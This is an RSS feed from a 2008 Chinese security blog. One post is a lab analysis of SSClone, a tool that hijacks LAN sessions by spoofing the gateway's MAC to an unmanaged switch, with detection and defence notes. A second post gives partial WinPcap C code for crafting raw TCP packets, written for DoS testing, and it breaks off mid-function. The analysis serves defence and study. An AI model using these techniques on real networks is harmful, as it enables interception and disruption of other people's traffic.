<?xml version="1.0" encoding="utf-8"?><?xml-stylesheet href='http://feed.huaidan.org/styles/feedsky8.xsl' type='text/xsl' ?><!--这是一个由Feedsy提供技术支持的Feed，为了提高读者阅读的体验，以及满足用户美化自己Feed的需要，我们设计了多种精美的Feed模板，提供给大家选择，所有最终呈现出来的样式，皆由用户自愿选择使用，未经许可，任何团体和个人，请不要擅自修改样式或者盗用，这是对于用户选择权的尊重。--><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:fs="http://www.feedsky.com/namespace/feed" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" version="2.0"><channel><atom:link href="http://feed.huaidan.org" type="application/rss+xml" ref="self"></atom:link><fs:self_link href="http://feed.feedsky.com/sunlei" type="application/rss+xml"></fs:self_link><lastBuildDate>Thu, 08 May 2008 17:52:32 GMT</lastBuildDate><title>鬼仔's Blog</title><description>Fuck The World!</description><image><url>http://www.feedsky.com/feed/sunlei/sc/gif</url><title>鬼仔's Blog</title><link>http://huaidan.org</link></image><link>http://huaidan.org</link><atom:link href="http://huaidan.org/feed" rel="self" type="application/rss+xml"></atom:link><language>en</language><pubDate>Thu, 08 May 2008 17:57:20 GMT</pubDate><dc:date>2008-05-08T17:57:20Z</dc:date><dc:language>en</dc:language><item><title>SSClone非ARP会话劫持原理分析</title><link>http://huaidan.org/archives/1967.html</link><content:encoded>&lt;p&gt;作者：robur&lt;br /&gt;
来源：CSNA网络分析论坛&lt;/p&gt;
&lt;p&gt;前两天买的过期杂志上看到的一款软件，刚开始还没注意，后来就恨自己杂志买晚了。（今年3月份的《黑客防线》）&lt;br /&gt;
那个神奇的软件，就像我标题上说的，叫SSClone，解释起来就是：Switch Session Clone，也就是“交换机会话克隆”（纯字面翻译，纯的～ ）。&lt;/p&gt;
&lt;p&gt;这个软件有什么用？其特点就是可以不通过传统的ARP欺骗方法，来实现局域网内的会话监听、劫持、复制等操作。（其实这个软件本身是用来会话复制的，也就是拦截客户机发送给网关的数据包，如果拦截网关发送给客户机的数据包，那么就是会话劫持了。）&lt;br /&gt;
因为采用了非ARP欺骗的技术，结果不用测试都可想而知，所有的ARP防火墙都对它不起作用。（废话了，ARP防火墙就是拦截ARP的，没有ARP数据包有个鸟用啊，哈哈）&lt;/p&gt;
&lt;p&gt;&lt;span id=&quot;more-1967&quot;&gt;&lt;/span&gt;今天自己组建了一个小环境，做了测试，具体环境如下：&lt;br /&gt;
一台傻瓜交换机（就是不可管理的），一台笔记本（作为被攻击者），一台服务器（作为发动攻击者），还有一个网关（局域网通过NAT网关上网）。&lt;br /&gt;
笔记本、服务器和网关通过那个傻瓜交换机连接。科来分析系统部署在服务器上，只捕获服务器本机网卡收发的数据包……&lt;br /&gt;
服务器的地址：192.168.1.27  （00 D0 68 06 22 74）&lt;br /&gt;
笔记本的地址：192.168.1.100  （00 11 5B CD E8 46）&lt;br /&gt;
网关的地址：192.168.1.1  （00 0A EB DA 06 E0）&lt;/p&gt;
&lt;p&gt;具体的环境介绍完了，下面我们开始分析攻击的过程。&lt;br /&gt;
&lt;img src=&quot;http://pic.yupoo.com/sunlei/10128586b1d4/yrqzzvge.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;1、首先看看抓包后分析的网关MAC下的IP地址，除了网关自己的内网IP，还有一个192.168.1.42，呵呵，只要对自己网络心中有数的管理员，都会觉得不正常吧！&lt;br /&gt;
&lt;img src=&quot;http://pic.yupoo.com/sunlei/23672586b1d8/q1fcqa9k.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;2、我们打开了SSClone，开始搜索局域网内的所有IP地址。程序发出大量的ARP数据包查询局域网中存活的主机。&lt;br /&gt;
这时可以看出，发送这些ARP请求的是操作者的真实主机，也就是说，如果要找用此程序捣乱的人，可以在此下手。&lt;br /&gt;
&lt;img src=&quot;http://pic.yupoo.com/sunlei/74772586b1c5/5k2ebfjn.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;3、我们看到，笔记本（192.168.1.100）回答了这个请求。&lt;br /&gt;
&lt;img src=&quot;http://pic.yupoo.com/sunlei/54211586b1c8/wvs3ar1y.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;4、在扫描结束后几秒钟，我们开始对笔记本的数据包进行劫持。&lt;br /&gt;
&lt;img src=&quot;http://pic.yupoo.com/sunlei/06940586b1c9/bok8mwgs.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;5、现在可以看到，攻击者的计算机正在冒用网关的MAC地址以及一个假IP，向外发送数据包。也就是向交换机宣称，攻击者所在的端口对应的是网关的MAC，在真正的网关发送一个数据包，或攻击者再次发送一个伪造数据包之前，这个错误的映射关系（网关MAC&amp;lt;——&amp;gt;攻击者端口）将一直存在。&lt;br /&gt;
攻击者以每秒钟发送10个包的速度继续发送，不断地让交换机接收这个错误的映射关系。&lt;br /&gt;
&lt;img src=&quot;http://pic.yupoo.com/sunlei/57700586b1cb/v0zu0592.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;6、交换机果然被欺骗了，将目标MAC为网关MAC的数据包，都发送到了攻击者的计算机上。我的科来只在服务器本地捕获，如果欺骗不成功，是不可能收到笔记本与网关的通信内容。&lt;br /&gt;
&lt;img src=&quot;http://pic.yupoo.com/sunlei/67520586b1ce/2lazh582.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;7、截获之后，必然要把数据包转发出去，否则网络就不通了嘛～可是现在交换机上对应网关MAC的端口是攻击者自己的端口，程序就开始用一个假冒的MAC和IP，通过ARP请求192.168.1.1（网关）的MAC地址，网关收到之后会产生一个回应。&lt;br /&gt;
这样正确的根据第5条所述的原理，正确的映射关系就恢复了，于是攻击者的计算机可以把这些截获的数据继续传递给网关。&lt;br /&gt;
之后，通过再进行第5条所述的方法，设置错误的映射关系。&lt;br /&gt;
&lt;img src=&quot;http://pic.yupoo.com/sunlei/82826586b1d2/zkfuww0x.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;8、第5条说的数据包的具体结构。&lt;/p&gt;
&lt;p&gt;最后，关于这个方法的一些个人理解：&lt;br /&gt;
设置错误映射关系的数据包，不一定是IGMP，其他的数据包也有可能，只要伪造一下MAC地址即可。&lt;br /&gt;
找出攻击者，可以参考第2条的内容，但如果攻击者变通一下手法，也不一定管用。&lt;br /&gt;
通过原理可以大致推断出，这个方法除了搞劫持，还能搞断网掉线……只要攻击者不转发数据包就可以了。&lt;br /&gt;
解决方法，需要通过交换机的端口绑定来实现，MAC和IP双绑已经没有作用了。&lt;br /&gt;
因为是基于交换机端口的，所以那种设置子网来屏蔽ARP泛滥的方法，也没用啦！&lt;/p&gt;
&lt;p&gt;刚刚接触这种技术，有不正确的地方欢迎大家指正！！！&lt;br /&gt;
数据包样本我就不发了，里面有我邮箱密码呀。。。。&lt;/p&gt;
	&lt;p&gt;&lt;/p&gt;
	&lt;hr noshade style=&quot;margin:0;height:1px&quot; /&gt;
	&lt;p&gt;评论数量(1) | &lt;a href=&quot;http://huaidan.org/archives/1967.html#respond&quot;&gt;&lt;strong&gt;发表评论&lt;/strong&gt;&lt;/a&gt; | 分类：&lt;a href=&quot;http://huaidan.org/archives/category/technology&quot; title=&quot;显示技术文章的所有日志&quot; rel=&quot;category tag&quot;&gt;技术文章&lt;/a&gt;
	&lt;br /&gt;本文网址：&lt;a href=&quot;http://huaidan.org/archives/1967.html&quot;&gt;http://huaidan.org/archives/1967.html&lt;/a&gt;&lt;/p&gt;
	&lt;small&gt;&lt;p&gt;&amp;copy; 鬼仔 for &lt;a href=&quot;http://huaidan.org&quot;&gt;鬼仔's Blog&lt;/a&gt;, 2008. | Add to &lt;a href=&quot;http://del.icio.us/post?url=http://huaidan.org/archives/1967.html&amp;amp;title=SSClone非ARP会话劫持原理分析&quot;&gt;del.icio.us&lt;/a&gt; &lt;a href=&quot;http://www.digg.com/submit&quot;&gt;digg&lt;/a&gt; | Who's linking ? &lt;a href=&quot;http://www.technorati.com/search/http://huaidan.org/archives/1967.html&quot; title=&quot;Search on Technorati&quot;&gt;Technorati&lt;/a&gt; &lt;a href=&quot;http://google.com/blogsearch?q=http://huaidan.org/archives/1967.html&quot; title=&quot;Search on Google Blog Search&quot;&gt;Google&lt;/a&gt; &lt;a href=&quot;http://www.blogpulse.com/search?query=http://huaidan.org/archives/1967.html&quot; title=&quot;Search on Blogpulse&quot;&gt;BlogPulse&lt;/a&gt;.&lt;/small&gt;&lt;/p&gt;
	&lt;h4&gt;相关日志&lt;/h4&gt;
	&lt;ul class=&quot;st-related-posts&quot;&gt;
	&lt;li&gt;&lt;a href=&quot;http://huaidan.org/archives/1567.html&quot; title=&quot;一行代码解决iframe挂马（包含服务器端注入、客户端ARP注入等） (2007/12/20)&quot;&gt;一行代码解决iframe挂马（包含服务器端注入、客户端ARP注入等）&lt;/a&gt; (2)&lt;/li&gt;
	&lt;li&gt;&lt;a href=&quot;http://huaidan.org/archives/1741.html&quot; title=&quot;Switch Session Clone (2008/03/03)&quot;&gt;Switch Session Clone&lt;/a&gt; (0)&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;&lt;!-- Feedsky ad --&gt;&lt;a href=&quot;http://feed.feedsky.com/~cpm/c/sunlei/062b23194c8dad5e67726eee5eca23b7&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~cpm/sunlei/062b23194c8dad5e67726eee5eca23b7/s.gif&quot; border=&quot;0&quot; style=&quot;margin-top:5px;&quot; /&gt;&lt;/a&gt;&lt;!-- /Feedsky ad --&gt;</content:encoded><wfw:commentRss>http://huaidan.org/archives/1967.html/feed</wfw:commentRss><description>作者：robur
来源：CSNA网络分析论坛
前两天买的过期杂志上看到的一款软件，刚开始还没注意，后来就恨自己杂志买晚了。（今年3月份的《黑客防线》）
那个神奇的软件，就像我标题上说的，...&lt;br /&gt;&lt;!-- Feedsky ad --&gt;&lt;a href=&quot;http://feed.feedsky.com/~cpm/c/sunlei/062b23194c8dad5e67726eee5eca23b7&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~cpm/sunlei/062b23194c8dad5e67726eee5eca23b7/s.gif&quot; border=&quot;0&quot; style=&quot;margin-top:5px;&quot; /&gt;&lt;/a&gt;&lt;!-- /Feedsky ad --&gt;</description><category>技术文章</category><category>ARP</category><category>SSClone</category><pubDate>Fri, 09 May 2008 01:52:32 +0800</pubDate><author>鬼仔</author><comments>http://huaidan.org/archives/1967.html#comments</comments><guid isPermaLink="false">http://huaidan.org/?p=1967</guid><dc:creator>鬼仔</dc:creator><fs:srclink>http://huaidan.org/archives/1967.html</fs:srclink><fs:srcfeed>http://huaidan.org/feed</fs:srcfeed><fs:itemid>feedsky/sunlei/~7027661/72434394/1230972</fs:itemid></item><item><title>使用winpcap定制TCP包发送</title><link>http://huaidan.org/archives/1966.html</link><content:encoded>&lt;p&gt;by: 云舒&lt;br /&gt;
2008-05-08&lt;br /&gt;
http://www.ph4nt0m.org&lt;/p&gt;
&lt;p&gt;前些时候做DOS方面的测试，由于协议学得不够好，有些回应不记得，所以就首先想到用hping来定制一些包，看看远程主机的回应。结果下载 的hping死活都不发包，换了多个不同版本的winpcap都不行。一怒之下，决定自己写个简单的。首先想到的是perl来做，最后觉得一样要安装 winpcap还有很多别的模块，不如直接c来实现一下，来得更痛快。&lt;br /&gt;
&lt;span id=&quot;more-1966&quot;&gt;&lt;/span&gt;&lt;br /&gt;
需要说明一下的是，在以太网头那里我故意偷懒了，没有获取本机的MAC地址而是写了个错误的。所以给内网用户发包的话，能发出去，只是你收不到回应了，发给外网就没这个问题，这是因为同交换机下面靠MAC地址来定位的。&lt;/p&gt;
&lt;p&gt;最后一点，这里所有的包，目的MAC地址都是写的MAC，通过网关把数据转发出去的。虽然同交换机下面可以直接通过MAC定位，但是我懒得判断，直接发送给网关再转发会比较简单。&lt;/p&gt;
&lt;pre&gt;&lt;span style=&quot;color: #008000;&quot;&gt;/* Code By yunshu, 2008-05-08, Make tcp packet to send to remote server
* I don&amp;#8217;t know which version of winpcap needed by hping, so I wrote this code.
* Under winpcap 4.0.2, Dev-CPP 4.9.9.2, windows xp professional sp2
*/&lt;/span&gt;

#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;winsock2.h&amp;gt;
#include &amp;lt;iphlpapi.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;pcap.h&amp;gt;
#include &amp;lt;remote-ext.h&amp;gt;

#define IP_PROTO    0&amp;#215;0800

&lt;span style=&quot;color: #0000ff;&quot;&gt;char&lt;/span&gt;    LocalIP[20] = { 0 };
&lt;span style=&quot;color: #0000ff;&quot;&gt;char&lt;/span&gt;    InterfaceName[256] = { 0 };
&lt;span style=&quot;color: #0000ff;&quot;&gt;char&lt;/span&gt;    GatewayIP[20] = { 0 };
BYTE    GatewayMac[6];

&lt;span style=&quot;color: #0000ff;&quot;&gt;typedef&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;struct&lt;/span&gt; et_header
{
    &lt;span style=&quot;color: #0000ff;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;char&lt;/span&gt;   eh_dst[6];
    &lt;span style=&quot;color: #0000ff;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;char&lt;/span&gt;   eh_src[6];
    &lt;span style=&quot;color: #0000ff;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;short&lt;/span&gt;  eh_type;
}ET_HEADER;

&lt;span style=&quot;color: #0000ff;&quot;&gt;typedef&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;struct&lt;/span&gt; ip_hdr
{
    &lt;span style=&quot;color: #0000ff;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;char&lt;/span&gt;       h_verlen;
    &lt;span style=&quot;color: #0000ff;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;char&lt;/span&gt;       tos;
    &lt;span style=&quot;color: #0000ff;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;short&lt;/span&gt;      total_len;
    &lt;span style=&quot;color: #0000ff;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;short&lt;/span&gt;      ident;
    &lt;span style=&quot;color: #0000ff;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;short&lt;/span&gt;      frag_and_flags;
    &lt;span style=&quot;color: #0000ff;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;char&lt;/span&gt;       ttl;
    &lt;span style=&quot;color: #0000ff;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;char&lt;/span&gt;       proto;
    &lt;span style=&quot;color: #0000ff;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;short&lt;/span&gt;      checksum;
    &lt;span style=&quot;color: #0000ff;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;int&lt;/span&gt;        sourceIP;
    &lt;span style=&quot;color: #0000ff;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;int&lt;/span&gt;        destIP;
}IP_HEADER;

&lt;span style=&quot;color: #0000ff;&quot;&gt;typedef&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;struct&lt;/span&gt; tcp_hdr
{
    &lt;span style=&quot;color: #0000ff;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;short&lt;/span&gt;    th_sport;
    &lt;span style=&quot;color: #0000ff;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;short&lt;/span&gt;    th_dport;
    &lt;span style=&quot;color: #0000ff;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;int&lt;/span&gt;    th_seq;
    &lt;span style=&quot;color: #0000ff;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;int&lt;/span&gt;    th_ack;
    &lt;span style=&quot;color: #0000ff;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;char&lt;/span&gt;    th_lenres;
    &lt;span style=&quot;color: #0000ff;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;char&lt;/span&gt;    th_flag;
    &lt;span style=&quot;color: #0000ff;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;short&lt;/span&gt;    th_win;
    &lt;span style=&quot;color: #0000ff;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;short&lt;/span&gt;    th_sum;
    &lt;span style=&quot;color: #0000ff;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;short&lt;/span&gt;    th_urp;
}TCP_HEADER;

&lt;span style=&quot;color: #0000ff;&quot;&gt;typedef&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;struct&lt;/span&gt; tsd_hdr
{
    &lt;span style=&quot;color: #0000ff;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;long&lt;/span&gt;    saddr;
    &lt;span style=&quot;color: #0000ff;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;long&lt;/span&gt;    daddr;
    &lt;span style=&quot;color: #0000ff;&quot;&gt;char&lt;/span&gt;            mbz;
    &lt;span style=&quot;color: #0000ff;&quot;&gt;char&lt;/span&gt;            ptcl;
    &lt;span style=&quot;color: #0000ff;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;short&lt;/span&gt;    tcpl;
}PSD_HEADER;

&lt;span style=&quot;color: #0000ff;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;short&lt;/span&gt; CheckSum(&lt;span style=&quot;color: #0000ff;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;short&lt;/span&gt; * buffer, &lt;span style=&quot;color: #0000ff;&quot;&gt;int&lt;/span&gt; size)
{
    &lt;span style=&quot;color: #0000ff;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;long&lt;/span&gt;   cksum = 0;

    &lt;span style=&quot;color: #0000ff;&quot;&gt;while&lt;/span&gt; (size &amp;gt; 1)
    {
        cksum += *buffer++;
        size -= &lt;span style=&quot;color: #0000ff;&quot;&gt;sizeof&lt;/span&gt;(&lt;span style=&quot;color: #0000ff;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;short&lt;/span&gt;);
    }
    &lt;span style=&quot;color: #0000ff;&quot;&gt;if&lt;/span&gt; (size)
    {
        cksum += *(&lt;span style=&quot;color: #0000ff;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;char&lt;/span&gt; *) buffer;
    }
    cksum = (cksum &amp;gt;&amp;gt; 16) + (cksum &amp;amp; 0xffff);
    cksum += (cksum &amp;gt;&amp;gt; 16);

    &lt;span style=&quot;color: #0000ff;&quot;&gt;return&lt;/span&gt; (&lt;span style=&quot;color: #0000ff;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;short&lt;/span&gt;) (~cksum);
}

&lt;span style=&quot;color: #008000;&quot;&gt;/*
void GetLocalIP( )
{
    WORD        wVersionRequested;
    WSADATA        wsaData;
    char        name[255];
    PHOSTENT    hostinfo;  

    wVersionRequested = MAKEWORD( 2, 0 );

    if( WSAStartup( wVersionRequested, &amp;amp;wsaData ) == 0 )
    {
        if( gethostname( name, sizeof(name) ) == 0 )
        {
            if( (hostinfo = gethostbyname(name) ) != NULL )
            {
                strcpy( LocalIP, inet_ntoa( *(struct in_addr*)*hostinfo-&amp;gt;h_addr_list ) );
            }
        }
    }

    WSACleanup(   );
}
*/&lt;/span&gt;

&lt;span style=&quot;color: #0000ff;&quot;&gt;int&lt;/span&gt; GetDevices( )
{
    pcap_if_t    *alldevs;
    pcap_if_t    *d;

    &lt;span style=&quot;color: #0000ff;&quot;&gt;int&lt;/span&gt; i = 0;
    &lt;span style=&quot;color: #0000ff;&quot;&gt;char&lt;/span&gt; errbuf[PCAP_ERRBUF_SIZE];

    &lt;span style=&quot;color: #008000;&quot;&gt;/* 获取本地机器设备列表 */&lt;/span&gt;
    &lt;span style=&quot;color: #0000ff;&quot;&gt;if&lt;/span&gt; (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL &lt;span style=&quot;color: #008000;&quot;&gt;/* auth is not needed */&lt;/span&gt;, &amp;amp;alldevs, errbuf) == -1)
    {
        fprintf(stderr,&amp;#8221;&lt;span style=&quot;color: #8b0000;&quot;&gt;Error in pcap_findalldevs_ex: %s\n&lt;/span&gt;&amp;#8220;, errbuf);
        &lt;span style=&quot;color: #0000ff;&quot;&gt;exit&lt;/span&gt;(1);
    }

    &lt;span style=&quot;color: #008000;&quot;&gt;/* 打印列表 */&lt;/span&gt;
    &lt;span style=&quot;color: #0000ff;&quot;&gt;for&lt;/span&gt;( d = alldevs; d != NULL; d = d-&amp;gt;next )
    {
        &lt;span style=&quot;color: #0000ff;&quot;&gt;printf&lt;/span&gt;(&amp;#8221;&lt;span style=&quot;color: #8b0000;&quot;&gt;%d. %s&lt;/span&gt;&amp;#8220;, ++i, d-&amp;gt;name);

        &lt;span style=&quot;color: #0000ff;&quot;&gt;if&lt;/span&gt; (d-&amp;gt;description)
        {
            &lt;span style=&quot;color: #0000ff;&quot;&gt;printf&lt;/span&gt;( &amp;#8220;&lt;span style=&quot;color: #8b0000;&quot;&gt; (%s)&lt;/span&gt;&amp;#8220;, d-&amp;gt;description );
        }

        &lt;span style=&quot;color: #0000ff;&quot;&gt;if&lt;/span&gt;( d-&amp;gt;addresses != NULL )
        {
            &lt;span style=&quot;color: #0000ff;&quot;&gt;if&lt;/span&gt;( d-&amp;gt;addresses-&amp;gt;addr-&amp;gt;sa_family == AF_INET )
            {

                &lt;span style=&quot;color: #0000ff;&quot;&gt;printf&lt;/span&gt;( &amp;#8220;&lt;span style=&quot;color: #8b0000;&quot;&gt;: %s\n&lt;/span&gt;&amp;#8220;, inet_ntoa( ((&lt;span style=&quot;color: #0000ff;&quot;&gt;struct&lt;/span&gt; sockaddr_in *)d-&amp;gt;addresses-&amp;gt;addr)-&amp;gt;sin_addr ) );
            }
            &lt;span style=&quot;color: #0000ff;&quot;&gt;else&lt;/span&gt;
            {
                &lt;span style=&quot;color: #0000ff;&quot;&gt;printf&lt;/span&gt;( &amp;#8220;&lt;span style=&quot;color: #8b0000;&quot;&gt;\n&lt;/span&gt;&amp;#8221; );
            }
        }
        &lt;span style=&quot;color: #0000ff;&quot;&gt;else&lt;/span&gt;
        {
            &lt;span style=&quot;color: #0000ff;&quot;&gt;printf&lt;/span&gt;(&amp;#8221;&lt;span style=&quot;color: #8b0000;&quot;&gt; (No description available)\n&lt;/span&gt;&amp;#8220;);
        }
    }

    &lt;span style=&quot;color: #0000ff;&quot;&gt;if&lt;/span&gt; (i == 0)
    {
        &lt;span style=&quot;color: #0000ff;&quot;&gt;printf&lt;/span&gt;(&amp;#8221;&lt;span style=&quot;color: #8b0000;&quot;&gt;\nNo interfaces found! Make sure WinPcap is installed.\n&lt;/span&gt;&amp;#8220;);
        &lt;span style=&quot;color: #0000ff;&quot;&gt;return&lt;/span&gt; -1;
    }

    &lt;span style=&quot;color: #0000ff;&quot;&gt;printf&lt;/span&gt;( &amp;#8220;&lt;span style=&quot;color: #8b0000;&quot;&gt;\nPlease choose the index of your NetAdapter：&lt;/span&gt;&amp;#8221; );
    &lt;span style=&quot;color: #0000ff;&quot;&gt;int&lt;/span&gt;    AdapterIndex = 1;
    &lt;span style=&quot;color: #0000ff;&quot;&gt;scanf&lt;/span&gt;( &amp;#8220;&lt;span style=&quot;color: #8b0000;&quot;&gt;%d&lt;/span&gt;&amp;#8220;, &amp;amp;AdapterIndex );
    &lt;span style=&quot;color: #0000ff;&quot;&gt;if&lt;/span&gt;( AdapterIndex &amp;gt; i )
    {
        &lt;span style=&quot;color: #0000ff;&quot;&gt;printf&lt;/span&gt;( &amp;#8220;&lt;span style=&quot;color: #8b0000;&quot;&gt;网卡选错啦\n&lt;/span&gt;&amp;#8221; );
        &lt;span style=&quot;color: #0000ff;&quot;&gt;return&lt;/span&gt; -1;
    }

    d = alldevs;
    &lt;span style=&quot;color: #0000ff;&quot;&gt;for&lt;/span&gt;( &lt;span style=&quot;color: #0000ff;&quot;&gt;int&lt;/span&gt; index = 1; index &amp;lt; AdapterIndex; index ++ )
    {
        d = d-&amp;gt;next;
    }

    &lt;span style=&quot;color: #0000ff;&quot;&gt;if&lt;/span&gt;( d-&amp;gt;name == NULL || d-&amp;gt;addresses == NULL )
    {
        &lt;span style=&quot;color: #0000ff;&quot;&gt;printf&lt;/span&gt;( &amp;#8220;&lt;span style=&quot;color: #8b0000;&quot;&gt;网卡选错啦\n&lt;/span&gt;&amp;#8221; );
        &lt;span style=&quot;color: #0000ff;&quot;&gt;return&lt;/span&gt; -1;
    }

    &lt;span style=&quot;color: #0000ff;&quot;&gt;strcpy&lt;/span&gt;( InterfaceName, d-&amp;gt;name );
    &lt;span style=&quot;color: #0000ff;&quot;&gt;strcpy&lt;/span&gt;( LocalIP, inet_ntoa( ((&lt;span style=&quot;color: #0000ff;&quot;&gt;struct&lt;/span&gt; sockaddr_in *)d-&amp;gt;addresses-&amp;gt;addr)-&amp;gt;sin_addr ) );

    &lt;span style=&quot;color: #008000;&quot;&gt;/* 不再需要设备列表了，释放它 */&lt;/span&gt;
    pcap_freealldevs(alldevs);

    &lt;span style=&quot;color: #0000ff;&quot;&gt;return&lt;/span&gt; 1;
}

&lt;span style=&quot;color: #0000ff;&quot;&gt;int&lt;/span&gt; GetGateWayMac( )
{
    PIP_ADAPTER_INFO AdapterInfo;

    ULONG    OutBufLen = &lt;span style=&quot;color: #0000ff;&quot;&gt;sizeof&lt;/span&gt;(IP_ADAPTER_INFO);
    AdapterInfo = (IP_ADAPTER_INFO *)&lt;span style=&quot;color: #0000ff;&quot;&gt;malloc&lt;/span&gt;(&lt;span style=&quot;color: #0000ff;&quot;&gt;sizeof&lt;/span&gt; (IP_ADAPTER_INFO));
    &lt;span style=&quot;color: #0000ff;&quot;&gt;if&lt;/span&gt;( AdapterInfo == NULL )
    {
        &lt;span style=&quot;color: #0000ff;&quot;&gt;printf&lt;/span&gt;(&amp;#8221;&lt;span style=&quot;color: #8b0000;&quot;&gt;Error allocating memory needed to call GetAdaptersinfo\n&lt;/span&gt;&amp;#8220;);
        &lt;span style=&quot;color: #0000ff;&quot;&gt;return&lt;/span&gt; -1;
    }

    &lt;span style=&quot;color: #0000ff;&quot;&gt;if&lt;/span&gt;( GetAdaptersInfo( AdapterInfo, &amp;amp;OutBufLen ) == ERROR_BUFFER_OVERFLOW )
    {
        &lt;span style=&quot;color: #0000ff;&quot;&gt;free&lt;/span&gt;( AdapterInfo );
        AdapterInfo = (IP_ADAPTER_INFO *)&lt;span style=&quot;color: #0000ff;&quot;&gt;malloc&lt;/span&gt;( OutBufLen );
        &lt;span style=&quot;color: #0000ff;&quot;&gt;if&lt;/span&gt;( AdapterInfo == NULL )
        {
            &lt;span style=&quot;color: #0000ff;&quot;&gt;printf&lt;/span&gt;(&amp;#8221;&lt;span style=&quot;color: #8b0000;&quot;&gt;Error allocating memory needed to call GetAdaptersinfo\n&lt;/span&gt;&amp;#8220;);
            &lt;span style=&quot;color: #0000ff;&quot;&gt;return&lt;/span&gt; -1;
        }
    }

    &lt;span style=&quot;color: #0000ff;&quot;&gt;if&lt;/span&gt;( GetAdaptersInfo( AdapterInfo, &amp;amp;OutBufLen ) == NO_ERROR )
    {
        PIP_ADAPTER_INFO    a = AdapterInfo;
        BOOL                Found = FALSE;

         &lt;span style=&quot;color: #0000ff;&quot;&gt;while&lt;/span&gt;( a )
        {
            &lt;span style=&quot;color: #0000ff;&quot;&gt;if&lt;/span&gt;( &lt;span style=&quot;color: #0000ff;&quot;&gt;strcmp&lt;/span&gt;(a-&amp;gt;IpAddressList.IpAddress.String, LocalIP) == 0 )
            {
                &lt;span style=&quot;color: #0000ff;&quot;&gt;strcpy&lt;/span&gt;( GatewayIP, a-&amp;gt;GatewayList.IpAddress.String );
                Found = TRUE;
                &lt;span style=&quot;color: #0000ff;&quot;&gt;break&lt;/span&gt;;
            }
            a = a-&amp;gt;Next;
        }
        &lt;span style=&quot;color: #0000ff;&quot;&gt;if&lt;/span&gt;( !Found )
        {
            &lt;span style=&quot;color: #0000ff;&quot;&gt;printf&lt;/span&gt;( &amp;#8220;&lt;span style=&quot;color: #8b0000;&quot;&gt;Get gateway&amp;#8217;s ip error.\n&lt;/span&gt;&amp;#8221; );
            &lt;span style=&quot;color: #0000ff;&quot;&gt;free&lt;/span&gt;( AdapterInfo );
